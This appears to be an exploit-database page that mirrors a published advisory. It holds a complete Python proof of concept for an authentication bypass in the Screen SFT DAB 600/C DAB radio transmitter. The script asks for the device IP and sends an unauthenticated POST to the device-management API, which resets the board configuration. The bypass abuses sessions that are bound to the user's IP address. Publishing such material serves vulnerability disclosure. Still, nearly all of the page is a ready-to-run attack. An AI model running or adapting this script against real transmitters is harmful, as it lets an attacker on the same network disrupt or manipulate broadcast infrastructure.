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Screen SFT DAB 600/C Authentication Bypass Reset Board Config

CVE Category Price Severity
CWE-287 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2023-05-27
CVSS
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023050063

Below is a copy:

Screen SFT DAB 600/C Authentication Bypass Reset Board Config
#!/usr/bin/env python3
#
# Exploit Title: Screen SFT DAB 600/C - Authentication Bypass Reset Board Config
# Exploit Author: LiquidWorm
#
#
# Vendor: DB Elettronica Telecomunicazioni SpA
# Product web page: https://www.screen.it | https://www.dbbroadcast.com
#                   https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
# Affected version: Firmware: 1.9.3
#                   Bios firmware: 7.1 (Apr 19 2021)
#                   Gui: 2.46
#                   FPGA: 169.55
#                   uc: 6.15
#
# Summary: Screen's new radio DAB Transmitter is reaching the highest
# technology level in both Digital Signal Processing and RF domain.
# SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
# digital adaptive precorrection and configuatio flexibility, the Hot
# Swap System technology, the compactness and the smart system design,
# the SFT DAB are advanced transmitters. They support standards DAB,
# DAB+ and T-DMB and are compatible with major headend brands.
#
# Desc: The application suffers from a weak session management that can
# allow an attacker on the same network to bypass these controls by reusing
# the same IP address assigned to the victim user (NAT) and exploit crucial
# operations on the device itself. By abusing the IP address property that
# is binded to the Session ID, one needs to await for such an established
# session and issue unauthorized requests to the vulnerable API to manage
# and/or manipulate the affected transmitter.
#
# Tested on: Keil-EWEB/2.1
#            MontaVista Linux Carrier Grade eXpress (CGX)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2023-5775
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5775.php
#
#
# 19.03.2023
#

import hashlib,datetime##########
import requests,colorama#########
from colorama import Fore, Style#
colorama.init()
print(Fore.RED+Style.BRIGHT+
    '''
                   
                                
                      
                                  
                        
    '''
    +Style.RESET_ALL)
print(Fore.WHITE+Style.BRIGHT+
    '''
            ZSL and the Producers insist that no one
           submit any exploits of themselfs or others
              performing any dangerous activities.
                 We will not open or view them.
    '''
    +Style.RESET_ALL)
s=datetime.datetime.now()
s=s.strftime('%d.%m.%Y %H:%M:%S')
print('Starting API XPL -',s)
t=input('Enter transmitter ip: ')
e='/system/api/deviceManagement.cgx'
print('Calling object: ssbtObj')
print('CGX fastcall: deviceManagement::reset')
t='http://'+t+e
bh={'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept':'application/json, text/plain, */*',
    'Accept-Language':'ku-MK,en;q=0.9',
    'Accept-Encoding':'gzip, deflate',
    'User-Agent':'Dabber--',
    'Connection':'close'}
j={'ssbtIdx':0,
   'ssbtType':'deviceManagement',
   'ssbtObj':{
             'reset':'true'
             }
   }
r=requests.post(t,headers=bh,json=j)
if r.status_code==200:
    print('Done.')
else:
    print('Error')
exit(-1)

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